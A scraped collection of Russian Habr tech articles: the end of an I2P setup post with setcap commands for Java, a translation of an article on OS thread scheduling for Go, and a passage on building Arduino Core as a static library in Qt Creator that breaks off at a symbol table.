Очень спорный рецепт. В общем случае, так делать не надо. Но если очень хочется, то можно. Я проделал это для прощупывания возможностей I2P. То есть just for fun
Приключения начались с вопроса «так где же java?»
```
which java | xargs file --mime-type
/usr/bin/java: inode/symlink
```
Окей
```
which java | xargs readlink | xargs file --mime-type
/etc/alternatives/java: inode/symlink
```
Больше симлинков богу симлинков!
```
which java | xargs readlink | xargs readlink | xargs file --mime-type
/usr/lib/jvm/java-11-openjdk-amd64/bin/java: application/x-pie-executable
```
Следует понимать, что конфигурация у меня может не совпадать с конфигурацией у Вас. Идея проста — добавлять в середину секцию `xargs readlink` до наступления просветления — пока `file` не скажет `application/x-pie-executable`. Как только java нашлась — из получившейся команды удаляем 2 последних слова `file --mime-type`, например, нажав `^W` дважды, и вместо этого добавляем `setcap 'cap_net_bind_service=+ep'`:
```
which java | xargs readlink | xargs readlink | xargs setcap 'cap_net_bind_service=+ep'
```
Возможно, потребуется добавить также возможность открытия сырого сокета `setcap 'cap_net_raw=+ep'`:
```
which java | xargs readlink | xargs readlink | xargs setcap 'cap_net_raw=+ep'
```
Но в следующий раз я просто разверну docker с [nginx](https://nginx.org/ru/docs/http/ngx_http_proxy_module.html#proxy_pass)
### А что ещё там есть?
Очень рекомендую почитать [русскоязычную wiki](http://rus.i2p/wiki/%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0) и полистать списки [identiguy](http://identiguy.i2p) или [isitup](http://isitup.i2p/workingsites.html). А ещё есть [поисковик](http://legwork.i2p/)
Внезапно web-версия telegram. Правда, я понятия не имею, знает ли про это зеркало администрация telegram. Впрочем, через выходную ноду можно достучаться и до оригиналаА ещё есть [телеграмовские MTProto прокси](http://telegram.i2p/). Идея сводится к созданию туннелей на указанные i2p-хосты. Инструкция на сайте
Ещё есть торренты и почта. Ничего из этого я ещё не пробовал использовать
Находил [флибусту](http://flibusta.i2p/) и [ebooks.i2p](http://ebooks.i2p/) — последний выглядит вообще дорого-богато
### Вместо заключения
Следует понимать, что I2P — не самостоятельный ресурс, а в первую очередь фидер — среда передачи данных. Поэтому область применимости технологии достаточно широка и упирается, скорее, в воображение
Я ни слова не сказал про [i2pd](https://i2pd.readthedocs.io/ru/latest/). Проект достоин внимания: он производительнее при меньшем потреблении ресурсов. Пока что у меня нет экспертизы | https://habr.com/ru/post/544516/ | null | ru | null |
# Планирование в Go: Часть I — Планировщик ОС
Привет, Хабр! Представляю вашему вниманию перевод статьи [«Scheduling In Go: Part I — OS Scheduler»](https://www.ardanlabs.com/blog/2018/08/scheduling-in-go-part1.html) автора Билла Кеннеди, о том, как работает внутренний планировщик Go.
Это первый пост в серии из трех частей, который даст представление о механике и семантике, лежащей в основе планировщика в Go. Этот пост посвящен планировщику операционной системы. Начнем!
Внутренняя архитектура планировщика Go позволяет вашим многопоточным программам быть более эффективными и производительными. Важно иметь общее понимание того, как работают планировщики ОС и Go для правильного проектирования многопоточного программного обеспечения. Я опишу достаточно деталей, чтобы вы могли наглядно представить, как все работает, чтобы на практике принимать лучшие решения.
### Планировщик ОС
Планировщики операционной системы являются сложным программным обеспечением. Они должны учитывать расположение и настройку оборудования, на котором они работают. Это включает в себя, помимо прочего, наличие нескольких процессоров и ядер, кэшей ЦП и [NUMA](https://ru.wikipedia.org/wiki/Non-Uniform_Memory_Access). Без этого знания планировщик не может быть настолько эффективным, насколько это возможно.
Ваша программа — это просто набор машинных инструкций, которые должны выполняться последовательно один за другим. Чтобы это произошло, операционная система использует концепцию потока. Задачей потока является учет и последовательное выполнение назначенного ему набора инструкций. Выполнение продолжается до тех пор, пока не останется больше инструкций для выполнения потоком. Вот почему я называю поток, «путь исполнения».
Каждая программа, которую вы запускаете, создает процесс, а каждому процессу — начальный поток. Потоки имеют возможность создавать больше потоков. Все эти разные потоки работают независимо друг от друга, и решения по планированию принимаются на уровне потоков, а не на уровне процессов. Потоки могут работать одновременно (каждый по очереди на отдельном ядре) или параллельно (каждый работает одновременно на разных ядрах). Потоки также поддерживают свое собственное состояние, чтобы обеспечить безопасное, локальное и независимое выполнение их инструкций.
Планировщик ОС отвечает за то, чтобы ядра не простаивали, если есть потоки, которые могут выполняться. Это также должно создать иллюзию того, что все потоки, которые могут выполняться, выполняются одновременно. В процессе создания этой иллюзии планировщик должен запускать потоки с более высоким приоритетом по сравнению с потоками с более низким приоритетом. Тем не менее, потоки с более низким приоритетом не могут быть лишены времени выполнения. Планировщик также должен максимально сократить задержки при планировании, принимая быстрые и умные решения.
Чтобы лучше понять все это, полезно описать и определить несколько важных понятий.
### Выполнение инструкций
[Счетчик команд](https://ru.wikipedia.org/wiki/%D0%A1%D1%87%D1%91%D1%82%D1%87%D0%B8%D0%BA_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4), также (instruction pointer) (IP) позволяет потоку отслеживать следующую команду для выполнения. В большинстве процессоров IP указывает на следующую инструкцию, а не на текущую.
Если вы когда-либо видели трассировку стека из программы Go, вы могли заметить эти маленькие шестнадцатеричные числа в конце каждой строки. Смотрите + 0x39 и + 0x72 в листинге 1.
Листинг 1
```
goroutine 1 [running]:
main.example(0xc000042748, 0x2, 0x4, 0x106abae, 0x5, 0xa)
stack_trace/example1/example1.go:13 +0x39 <- Здесь
main.main()
stack_trace/example1/example1.go:8 +0x72 <- И здесь
```
Эти числа представляют смещение значения IP от вершины соответствующей функции. Значение смещения + 0x39 для IP представляет следующую инструкцию, которую поток выполнил бы внутри примерной функции, если бы программа не запаниковала. Значение смещения IP 0 + x72 является следующей инструкцией внутри основной функции, если управление вернулось к этой функции. Что еще более важно, инструкция перед указателем сообщает вам, какая инструкция выполнялась.
Посмотрите на программу ниже в листинге 2, которая вызвала трассировку стека из листинга 1.
Листинг 2
```
// https://github.com/ardanlabs/gotraining/blob/master/topics/go/profiling/stack_trace/example1/example1.go
07 func main() {
08 example(make([]string, 2, 4), "hello", 10)
09 }
12 func example(slice []string, str string, i int) {
13 panic("Want stack trace")
14 }
```
Шестнадцатеричное число + 0x39 представляет смещение IP для инструкции внутри примерной функции, которая на 57 (основание 10) байтов ниже начальной инструкции для функции. В листинге 3 ниже вы можете увидеть objdump примера функции из двоичного файла. Найдите 12-ю инструкцию, которая указана внизу. Обратите внимание на строку кода над этой инструкцией — вызов паники.
Листинг 3
```
func example(slice []string, str string, i int) {
0x104dfa 065488b0c2530000000 MOVQ GS:0x30, CX
0x104dfa9 483b6110 CMPQ 0x10(CX), SP
0x104dfad 762c JBE 0x104dfdb
0x104dfaf 4883ec18 SUBQ $0x18, SP
0x104dfb3 48896c2410 MOVQ BP, 0x10(SP)
0x104dfb8 488d6c2410 LEAQ 0x10(SP), BP
panic("Want stack trace")
0x104dfbd 488d059ca20000 LEAQ runtime.types+41504(SB), AX
0x104dfc4 48890424 MOVQ AX, 0(SP)
0x104dfc8 488d05a1870200 LEAQ main.statictmp_0(SB), AX
0x104dfcf 4889442408 MOVQ AX, 0x8(SP)
0x104dfd4 e8c735fdff CALL runtime.gopanic(SB)
0x104dfd9 0f0b UD2 <--- Здесь IP(+0x39)
```
Помните: IP указывает на следующую инструкцию, а не текущую. В листинге 3 приведен хороший пример инструкций на основе amd64, которые поток для этой программы Go выполняет последовательно.
### Состояния потоков
Другим важным понятием является состояние потока. Поток может находиться в одном из трех состояний: Ожидание, Готовность или Выполнение.
*Ожидание*: это означает, что поток остановлен и ожидает чего-то для продолжения. Это может происходить по таким причинам, как ожидание аппаратного обеспечения (диск, сеть), операционной системы (системные вызовы) или вызовов синхронизации (атомарные, мьютексы). Эти типы задержек являются основной причиной плохой производительности.
*Готовность*: это означает, что поток требует времени на ядре, чтобы он мог выполнять назначенные ему машинные инструкции. Если у вас много потоков, которым нужно время, потоки должны ждать дольше, чтобы получить время. Кроме того, сокращается отдельное количество времени, которое получает каждый поток, поскольку большее количество потоков конкурирует за время. Этот тип задержки планирования также может быть причиной плохой производительности.
*Выполнение*: Это означает, что поток размещен на ядре и выполняет свои машинные инструкции.
### Типы работ
Поток может выполнять два типа работ. Первый называется CPU-Bound, а второй — IO-Bound.
CPU-Bound: это работа, которая никогда не создает ситуацию, когда поток может быть переведен в состояние ожидания. Это работа, которая постоянно делает расчеты. Поток, вычисляющий число Pi до N-й цифры, будет привязан к ЦП.
IO-Bound: это работа, которая заставляет потоки переходить в состояние ожидания. Это работа, которая заключается в запросе доступа к ресурсу по сети или выполнении системных вызовов в операционной системе. Поток, которому необходим доступ к базе данных, будет IO-Bound. Я бы включил события синхронизации (мьютексы, атомарные), которые заставляют поток ждать как часть этой категории.
### Переключение контекста
Если вы работаете в Linux, Mac или Windows, вы работаете в операционной системе с вытесняющим планировщиком.
> Невытесняющие (non-preemptive) алгоритмы основаны на том, что активному потоку позволяется выполняться, пока он сам, по собственной инициативе, не отдаст управление операционной системе для того, чтобы та выбрала из очереди другой готовый к выполнению поток.
>
>
>
> Вытесняющие (preemptive) алгоритмы — это такие способы планирования потоков, в которых решение о переключении процессора с выполнения одного потока на выполнение другого потока принимается операционной системой, а не активной задачей.
Это означает несколько важных вещей.
Во-первых, это означает, что планировщик непредсказуем, когда речь заходит о том, какие потоки будут выбраны для запуска в любой момент времени. Приоритеты потоков вместе с событиями (например, получение данных в сети) делают невозможным определение того, что планировщик выберет и когда.
Во-вторых, это означает, что вы никогда не должны писать код, основанный на некотором предполагаемом поведении, которое вам повезло испытать, но не гарантируется, что оно будет происходить каждый раз. Легко позволить себе думать, потому что я видел, как это происходило 1000 раз, это гарантированное поведение. Вы должны контролировать синхронизацию и оркестровку потоков, если вам нужен детерминизм в вашем приложении.
Процесс прекращения выполнения процессором одной задачи с сохранением всей необходимой информации и состояния, необходимых для последующего продолжения с прерванного места, и восстановления и загрузки состояния задачи, к выполнению которой переходит процессор называется [переключением контекста](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0) (ПК). ПК происходит, когда планировщик берет поток выполнения из ядра и заменяет его потоком из состояния готовности. Поток, выбранный из очереди выполнения, переходит в состояние «Выполнение». Поток, который был извлечен, может вернуться в состояние готовности (если он все еще имеет возможность запуска) или в состояние ожидания (если был заменен из-за типа запроса IO-Bound).
ПК считается дорогостоящей операцией. Величина задержки, возникающей во время ПК, зависит от различных факторов, но вполне разумно, чтобы она занимала от ~ 1000 до ~ 1500 наносекунд. Учитывая, что аппаратное обеспечение должно быть в состоянии разумно выполнять (в среднем) 12 инструкций в наносекунду на ядро, переключение контекста может стоить от ~ 12k до ~ 18k инструкций задержки. По сути, ваша программа теряет способность выполнять большое количество инструкций во время переключения контекста.
Если у вас есть программа, ориентированная на работу, связанную с IO, то переключение контекста будет преимуществом. Как только поток переходит в состояние ожидания, его место занимает другой поток в состоянии готовности. Это позволяет ядру всегда выполнять работу. Это один из самых важных аспектов планирования. Не позволяйте ядру бездействовать, если есть работа (потоки в состоянии «Готовность»).
Если ваша программа ориентирована на работу с привязкой к ЦП, переключение контекста станет кошмаром производительности. Поскольку у потока всегда есть работа, переключение контекста останавливает эту работу. Эта ситуация резко контрастирует с тем, что происходит с нагрузкой IO-Bound.
### Меньше — больше
Ранее, когда у процессоров было только одно ядро, планирование не было слишком сложным. Поскольку у вас был один процессор с одним ядром, только один поток мог выполняться в любой момент времени. Идея состояла в том, чтобы определить период планировщика и попытаться выполнить все потоки в состоянии готовности, в течение этого периода времени. Нет проблем: возьмите период планирования и разделите его на количество потоков, которые необходимо выполнить.
Например, если вы определили период вашего планировщика равным 10 мс (миллисекунд), и у вас есть 2 потока, то каждый поток получает 5 мс каждый. Если у вас есть 5 потоков, каждый поток получает 2 мс. Однако что происходит, когда у вас есть 100 потоков? Предоставление каждому потоку отрезка времени в 10 мкс (микросекунд) не работает, потому что вы потратите значительное количество времени на ПК.
Что вам нужно, так это ограничить, насколько короткими могут быть временные срезы. В последнем сценарии, если минимальный интервал времени составлял 2 мс, а у вас 100 потоков, период планировщика необходимо увеличить до 2000 мс или 2 сек. Что, если было 1000 потоков, теперь вы смотрите на период планировщика 20 сек. В этом простом примере все потоки запускаются один раз в течение 20 сек, если каждый поток использует свой временной интервал.
Имейте в виду, что это очень простой взгляд на эти проблемы. Планировщик должен принимать во внимание большее количество проблем. Вы контролируете количество потоков, которые вы используете в своем приложении. Когда нужно рассмотреть больше потоков и происходит работа, связанная с IO, возникает еще больше хаоса и не детерминированного поведения. Решение проблем занимают больше времени, чтобы запланировать и выполнить.
Вот почему правило «Меньше значит больше». Меньше потоков в состоянии «Готовность» означает меньше затрат на планирование и больше времени, которое каждый поток получает с течением времени. Чем больше потоков в состоянии «Готовность», тем меньше времени получает каждый поток. Это означает, что со временем будет выполняться меньше вашей работы.
### Ищем баланс
Необходимо найти баланс между количеством ядер, которое у вас есть, и количеством потоков, которое необходимо для достижения максимальной пропускной способности для вашего приложения. Когда дело доходит до управления этим балансом, пулы потоков были отличным ответом. Я покажу вам во второй части, что в Go больше нет этой необходимости. Я думаю, что это одна из приятных вещей, которую в Go сделали для облегчения разработки многопоточных приложений.
До написания кода на Go я написал код на C ++ и C # для NT. В этой операционной системе использование пулов потоков IOCP (IO Completion Ports) было критически важным для написания многопоточного программного обеспечения. Как инженер, вам нужно было выяснить, сколько пулов потоков вам нужно, и максимальное количество потоков для любого данного пула, чтобы максимизировать пропускную способность для числа ядер, которые у вас есть.
При написании веб-сервисов, взаимодействующих с базой данных, магическое число 3 потока на ядро, всегда обеспечивало наилучшую пропускную способность в NT. Другими словами, 3 потока на ядро минимизировали затраты времени на переключение контекста, максимально увеличив время выполнения на ядрах. При создании пула потоков IOCP я знал, что нужно начинать минимум с 1 потока и максимум с 3 потоками на каждое ядро, идентифицированное на хост-компьютере.
Если бы я использовал 2 потока на ядро, это заняло бы больше времени, чтобы выполнить всю работу, потому что у меня был простой, когда я мог выполнять работу. Если я использовал 4 потока на ядро, это также занимало больше времени, потому что у меня было больше задержек при ПК. Баланс 3 потоков на ядро по любой причине всегда казался магическим числом в NT.
Что делать, если ваш сервис выполняет много разных видов задач? Это может создать разные и противоречивые задержки. Возможно, он также создает множество различных системных событий, которые необходимо обработать. Может оказаться невозможным найти магическое число, которое работает все время для всех различных рабочих нагрузок. Когда речь идет об использовании пулов потоков для настройки производительности службы, очень сложно найти правильную согласованную конфигурацию.
### Кэш процессора
Доступ к данным из основной памяти имеет такую высокую стоимость задержки (от ~ 100 до ~ 300 тактов), что процессоры и ядра имеют локальные кэши для хранения данных близко к аппаратным потокам, которые в них нуждаются. Доступ к данным из кеша обходится намного дешевле (от 3 до 40 тактов) в зависимости от доступа к кешу. Сегодня одним из аспектов производительности является то, насколько эффективно вы можете передавать данные в процессор, чтобы уменьшить эти задержки доступа к данным. При написании многопоточных приложений, которые изменяют состояние, необходимо учитывать механику системы кеширования.
Обмен данными между процессором и основной памятью осуществляется с использованием строк кэша. Строка кэша — это 64-байтовый фрагмент памяти, который обменивается между основной памятью и системой кэширования. Каждое ядро получает свою собственную копию любой строки кэша, в которой оно нуждается, что означает, что аппаратное обеспечение использует семантику значений. Вот почему мутации в памяти в многопоточных приложениях могут создавать кошмары производительности.
Когда несколько потоков, работающих параллельно, обращаются к одному и тому же значению данных или даже к значениям данных рядом друг с другом, они будут получать доступ к данным в одной строке кэша. Любой поток, работающий на любом ядре, получит свою копию этой же строки кэша.
Если один поток в данном ядре вносит изменения в свою копию строки кэша, то с помощью аппаратного обеспечения все остальные копии той же строки кэша должны быть помечены как грязные. Когда Поток пытается получить доступ на чтение или запись к грязной строке кэша, доступ к основной памяти (от ~ 100 до ~ 300 тактовых циклов) необходим для получения новой копии строки кэша.
Может быть, на 2-ядерном процессоре это не имеет большого значения, но как быть с 32-ядерным процессором, на котором 32 потока работают параллельно, все получают и изменяют данные в одной строке кэша? А как насчет системы с двумя физическими процессорами по 16 ядер в каждом? Это будет хуже из-за дополнительной задержки для связи между процессорами. Приложение будет перебирать память, а производительность будет ужасной, и, скорее всего, вы не поймете, почему.
Это называется проблемой [когерентности кэша](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B3%D0%B5%D1%80%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D1%8D%D1%88%D0%B0), а также приводит к таким проблемам, как ложное совместное использование. При написании многопоточных приложений, которые будут изменять общее состояние, системы кэширования должны быть приняты во внимание.
### Итог
Эта первая часть поста дает представление о том, что вы должны учитывать в отношении потоков и планировщика ОС при написании многопоточных приложений. Эти вещи и учитывает планировщик Go. В следующем посте я опишу семантику планировщика Go и то, как они связаны с этой информацией. Затем, наконец, вы увидите все это в действии, запустив пару программ. | https://habr.com/ru/post/478168/ | null | ru | null |
# Arduino в Linux: копаемся в кишках проекта
Введение
========
В [предыдущей статье](https://geektimes.ru/post/295469/) был описан процесс превращения Qt Creator в полноценную IDE для проектов на платформе Arduino. Шаги были описаны подробно, но без описания смысла происходящего, поэтому эффект от такой статьи небольшой. В каждом конкретном случае могут возникать и возникают разнообразные нюансы и разобраться в них без понимания того как устроен проект сложно.
Поэтому в данной заметке мы разберемся в структуре и настройках проекта.
1. Arduino Core и функция main()
================================
Как известно, исполнение любой программы на C/C++ начинается с функции main(), в том числе это касается и прошивок микроконтроллеров. В той или иной форме эта функция присутствует в любом проекте. Про создании проекта в Arduino IDE нам предлагается сразу файл скетча (на ещё и с дурацки расширением \*.ino), скрывая от разработчика расположение точки входа.
В арче исходники Arduino Core расположены по пути */usr/share/arduino/hardware/archlinux-arduino/avr/cores/arduino* и содержат следующий
**список файлов Arduino Core**
```
$ ls -l
итого 320
-rw-r--r-- 1 root root 1222 мар 3 2017 abi.cpp
-rw-r--r-- 1 root root 7483 мар 3 2017 Arduino.h
-rw-r--r-- 1 root root 11214 мар 3 2017 binary.h
-rw-r--r-- 1 root root 8078 мар 9 2017 CDC.cpp
-rw-r--r-- 1 root root 1529 мар 3 2017 Client.h
-rw-r--r-- 1 root root 2605 мар 3 2017 HardwareSerial0.cpp
-rw-r--r-- 1 root root 2315 мар 3 2017 HardwareSerial1.cpp
-rw-r--r-- 1 root root 1975 мар 3 2017 HardwareSerial2.cpp
-rw-r--r-- 1 root root 1975 мар 3 2017 HardwareSerial3.cpp
-rw-r--r-- 1 root root 7743 мар 3 2017 HardwareSerial.cpp
-rw-r--r-- 1 root root 5262 авг 3 16:57 HardwareSerial.h
-rw-r--r-- 1 root root 4469 мар 3 2017 HardwareSerial_private.h
-rw-r--r-- 1 root root 1142 мар 3 2017 hooks.c
-rw-r--r-- 1 root root 2851 мар 3 2017 IPAddress.cpp
-rw-r--r-- 1 root root 2861 мар 3 2017 IPAddress.h
-rw-r--r-- 1 root root 1372 мар 3 2017 main.cpp
-rw-r--r-- 1 root root 1027 мар 3 2017 new.cpp
-rw-r--r-- 1 root root 979 мар 3 2017 new.h
-rw-r--r-- 1 root root 2725 мар 3 2017 PluggableUSB.cpp
-rw-r--r-- 1 root root 2063 мар 3 2017 PluggableUSB.h
-rw-r--r-- 1 root root 1335 мар 3 2017 Printable.h
-rw-r--r-- 1 root root 5442 мар 3 2017 Print.cpp
-rw-r--r-- 1 root root 2963 авг 3 16:57 Print.h
-rw-r--r-- 1 root root 963 мар 3 2017 Server.h
-rw-r--r-- 1 root root 8804 авг 3 17:23 Stream.cpp
-rw-r--r-- 1 root root 6060 авг 3 17:23 Stream.h
-rw-r--r-- 1 root root 15022 мар 3 2017 Tone.cpp
-rw-r--r-- 1 root root 4363 июл 18 16:52 Udp.h
-rw-r--r-- 1 root root 6261 авг 3 16:57 USBAPI.h
-rw-r--r-- 1 root root 20086 июл 18 16:52 USBCore.cpp
-rw-r--r-- 1 root root 8435 мар 3 2017 USBCore.h
-rw-r--r-- 1 root root 1519 мар 3 2017 USBDesc.h
-rw-r--r-- 1 root root 4576 мар 3 2017 WCharacter.h
-rw-r--r-- 1 root root 9409 мар 3 2017 WInterrupts.c
-rw-r--r-- 1 root root 7850 мар 3 2017 wiring_analog.c
-rw-r--r-- 1 root root 12024 мар 3 2017 wiring.c
-rw-r--r-- 1 root root 4978 мар 3 2017 wiring_digital.c
-rw-r--r-- 1 root root 2255 мар 3 2017 wiring_private.h
-rw-r--r-- 1 root root 3435 мар 3 2017 wiring_pulse.c
-rw-r--r-- 1 root root 6022 мар 3 2017 wiring_pulse.S
-rw-r--r-- 1 root root 1550 мар 3 2017 wiring_shift.c
-rw-r--r-- 1 root root 1641 мар 3 2017 WMath.cpp
-rw-r--r-- 1 root root 16989 мар 3 2017 WString.cpp
-rw-r--r-- 1 root root 9910 мар 3 2017 WString.h
```
Функция main() расположена в файле main.cpp и выглядит так
```
#include
// Declared weak in Arduino.h to allow user redefinitions.
int atexit(void (\* /\*func\*/ )()) { return 0; }
// Weak empty variant initialization function.
// May be redefined by variant files.
void initVariant() \_\_attribute\_\_((weak));
void initVariant() { }
void setupUSB() \_\_attribute\_\_((weak));
void setupUSB() { }
int main(void)
{
init();
initVariant();
#if defined(USBCON)
USBDevice.attach();
#endif
setup();
for (;;) {
loop();
if (serialEventRun) serialEventRun();
}
return 0;
}
```
Видно, что в скетче нет ничего сверхъестественного: функции setup() и loop() вызываются непосредственно из main(). Файл led-blink.cpp, который мы [создали ранее](https://geektimes.ru/post/295469/) содержит определения этих функций. Если мы уберем данный файл из проекта
```
#Заголовки проекта
#INCLUDEPATH += ./include
#HEADERS += $$files(./include/*.h)
# Исходники проекта
#SOURCES += $$files(./src/*.cpp)
```
получим закономерную ошибку компоновщика
Таким образом, все модули, которые мы добавим проекту будут скомпонованы с ядром Arduino, реализующим базовый функционал. Вот краткое описание заголовков Arduino Core:
* Arduino.h — базовый заголовок, включающий заголовки стандартной библиотеки C, определения программного интерфейса к регистрам контроллеров AVR, основные макроопределения, используемые при программировании
* binary.h — макроопределения для записи чисел от 0 до 255 в двоичной форме
* Client.h — класс клиента сети Ethernet
* HardwareSerial.h, HardwareSerial\_private.h — библиотека для работы с аппаратным UART
* IPAddress.h — работа с IP-адресами сетевых протоколов Ethernet
* new.h — реализация операторов new и delete языка C++
* PluggableUSB.h, USBAPI.h, USBCore.h, USBDesc.h — библиотека для реализации USB-устройств
* Print.h, Printable.h, Stream.h — библиотеки для работы с символьными потоками данных, в том числе передаваемыми по UART
* Server.h — класс, реализующий сервер Eternet
* Udp.h — реализация протокола UDP
* WCharacters.h, WString.h — классы для работы с символами и строками
* wiring\_private.h — библиотека платформы [Wiring](https://en.wikipedia.org/wiki/Wiring_(development_platform)), на базе которой строится Arduino Core. Эта библиотека реализует относительно высокоуровневый интерфейс к системным ресурсам микроконтроллеров.
Таким образом, даже в простейшую программу мигания светодиодом включается масса ненужного кода. Такова плата за простоту разработки и низкий порог вхождения. Однако, говоря об этом, я лукавлю: пример, показанный в прошлой статье не соответствует тому, что получается после сборки в Arduino IDE.
2. Обрезаем жирок с прошивки
============================
В Arduino IDE Core собирается в отдельную статическую библиотеку core.a, которая затем компонуется с объектными файлами скетча в готовый бинарник. Проделаем тоже самое в Qt Creator.
Создадим проект core со следующей структурой
Скрипт qmake этого проекта представлен ниже:
**core.pro**
```
# Целевой каталог и имя библиотеки
DESTDIR = ../../lib
TARGET = core
# Подключаем заголовочные файлы
INCLUDEPATH += $$ARDUINO_DIR/cores/arduino
INCLUDEPATH += $$ARDUINO_DIR/variants/standard
INCLUDEPATH += $$ARDUINO_DIR/libraries
INCLUDEPATH += /usr/avr/include
# Настройки компилятора C
QMAKE_CC = /usr/bin/avr-gcc
QMAKE_CFLAGS += -c -g -Os -w -ffunction-sections -fdata-sections
QMAKE_CFLAGS += -MMD -mmcu=$$ARDUINO_MCU -DF_CPU=$$ARDUINO_FCPU
QMAKE_CFLAGS += -DARDUINO_AVR_UNO -DARDUINO_ARCH_AVR
# Настройки компилятора C++
QMAKE_CXX = /usr/bin/avr-g++
QMAKE_CXXFLAGS += -c -g -Os -w -ffunction-sections -fdata-sections
QMAKE_CXXFLAGS += -fno-exceptions -fno-threadsafe-statics
QMAKE_CXXFLAGS += -MMD -mmcu=$$ARDUINO_MCU -DF_CPU=$$ARDUINO_FCPU
QMAKE_CXXFLAGS += -DARDUINO_AVR_UNO -DARDUINO_ARCH_AVR
# Заголовки Arduino Core
HEADERS += $$files($$ARDUINO_DIR/cores/arduino/*.h)
HEADERS += $$files($$ARDUINO_DIR/variants/standard/*.h)
# Исходники Arduino Core
SOURCES += $$files($$ARDUINO_DIR/cores/arduino/*.c)
SOURCES += $$files($$ARDUINO_DIR/cores/arduino/*.cpp)
```
Проект содержит исключительно код Arduino Core. Его сборка дает на выходе библиотеку libcore.a
Теперь рядышком создаем проект прошивки, содержащий код скетча
**blink.pro**
```
# Определяем переменные окружения сборки
# Корневой каталог исходников Arduino Core
ARDUINO_DIR=/usr/share/arduino/hardware/archlinux-arduino/avr/
# Выбираем целевой контроллер (Arduino Uno, Nano, Mini)
ARDUINO_MCU=atmega328p
# Частота тактирования контроллера
ARDUINO_FCPU = 16000000L
# Ни гуи, ни ядра Qt нам не надо!
QT -= gui core
CONFIG -= qt
# Шаблон проекта - приложение, будет собираться исполняемый файл формата ELF
TEMPLATE = app
# Целевой каталог и имя бинарника
DESTDIR = ../../bin
TARGET = blink
# Подключаем заголовочные файлы
INCLUDEPATH += $$ARDUINO_DIR/cores/arduino
INCLUDEPATH += $$ARDUINO_DIR/variants/standard
INCLUDEPATH += $$ARDUINO_DIR/libraries
INCLUDEPATH += /usr/avr/include
# Настройки компилятора C
QMAKE_CC = /usr/bin/avr-gcc
QMAKE_CFLAGS += -c -g -Os -w -ffunction-sections -fdata-sections
QMAKE_CFLAGS += -MMD -mmcu=$$ARDUINO_MCU -DF_CPU=$$ARDUINO_FCPU
QMAKE_CFLAGS += -DARDUINO_AVR_UNO -DARDUINO_ARCH_AVR
# Настройки компилятора C++
QMAKE_CXX = /usr/bin/avr-g++
QMAKE_CXXFLAGS += -c -g -Os -w -ffunction-sections -fdata-sections
QMAKE_CXXFLAGS += -fno-exceptions -fno-threadsafe-statics
QMAKE_CXXFLAGS += -MMD -mmcu=$$ARDUINO_MCU -DF_CPU=$$ARDUINO_FCPU
QMAKE_CXXFLAGS += -DARDUINO_AVR_UNO -DARDUINO_ARCH_AVR
# Настройки компоновщика
QMAKE_LINK = /usr/bin/avr-gcc
QMAKE_LFLAGS = -w -Os -Wl,--gc-sections -mmcu=$$ARDUINO_MCU
QMAKE_LIBS = -lm
# Постобработка
QMAKE_POST_LINK += /usr/bin/avr-objcopy -O ihex -j .text -j .data -S ${TARGET} ${TARGET}.hex
LIBS += -L../../lib -lcore
#Заголовки проекта
INCLUDEPATH += ./include
HEADERS += $$files(./include/*.h)
# Исходники проекта
SOURCES += $$files(./src/*.cpp)
```
**blink.h**
```
#ifndef LED_BLINK_H
#define LED_BLINK_H
#include
#endif // LED\_BLINK\_H
```
**blink.cpp**
```
#include "blink.h"
#define LED_STAND_PIN 13
unsigned long time = 0;
unsigned long DELAY = 1000000;
bool on = false;
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void setup()
{
pinMode(LED_STAND_PIN, OUTPUT);
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void loop()
{
if ( micros() >= time + DELAY )
{
time = micros();
on = !on;
}
uint8_t state = on ? HIGH : LOW;
digitalWrite(LED_STAND_PIN, state);
}
```
Оба проекта будем собирать совместно, используя тип проекта «сабдиректории» доступный в qmake
**led-blink2.pro**
```
TEMPLATE = subdirs
SUBDIRS += ./core
SUBDIRS += ./blink
```
Собираем проект, запускаем его на плате и смотрим лог прошивки
**Лог прошивки blink.hex**
```
avrdude: AVR device initialized and ready to accept instructions
Reading | ################################################## | 100% 0.00s
avrdude: Device signature = 0x1e950f (probably m328p)
avrdude: NOTE: "flash" memory has been specified, an erase cycle will be performed
To disable this feature, specify the -D option.
avrdude: erasing chip
avrdude: reading input file "/mnt/data/Arduino/led-blink2/bin/blink.hex"
avrdude: writing flash (1040 bytes):
Writing | ################################################## | 100% 0.18s
avrdude: 1040 bytes of flash written
avrdude: verifying flash memory against /mnt/data/Arduino/led-blink2/bin/blink.hex:
avrdude: load data flash data from input file /mnt/data/Arduino/led-blink2/bin/blink.hex:
avrdude: input file /mnt/data/Arduino/led-blink2/bin/blink.hex contains 1040 bytes
avrdude: reading on-chip flash data:
Reading | ################################################## | 100% 0.15s
avrdude: verifying ...
avrdude: 1040 bytes of flash verified
avrdude: safemode: Fuses OK (E:00, H:00, L:00)
avrdude done. Thank you.
```
Здесь обращаем внимание на объем занятой памяти
```
avrdude: verifying ...
avrdude: 1040 bytes of flash verified
```
Ага, прошивка занимает уже 1040 байт против 2838 в проекте из прошлой статьи. Но всё же, аналогичный скетч в Arduino IDE занимает 882 байта. Внимательно изучив лог сборки среды ардуино, добавляем в проекты blink и core ключи компилятора C
```
QMAKE_CFLAGS += -flto -fno-fat-lto-objects
```
и ключи компилятора C++
```
QMAKE_CXXFLAGS += -fpermissive -flto -fno-devirtualize -fno-use-cxa-atexit
```
Пересобираем, шьем, запускаем и…
```
avrdude: verifying ...
avrdude: 882 bytes of flash verified
```
Ок, вожделенные 882 байта достигнуты. За счет чего так выходит?
Во-первых, посмотрим на ELF-файлы, получающиеся при сборке нынешнего и предыдущего проекта, а именно обратим внимание на символьную информацию, которая даст представление о том, что из функций и классов Arduino Core в итоге попадает в бинарник. Даем команду
```
$ avr-objdump -t led-blink
```
**Таблица символов led-blink**
```
led-blink: формат файла elf32-avr
SYMBOL TABLE:
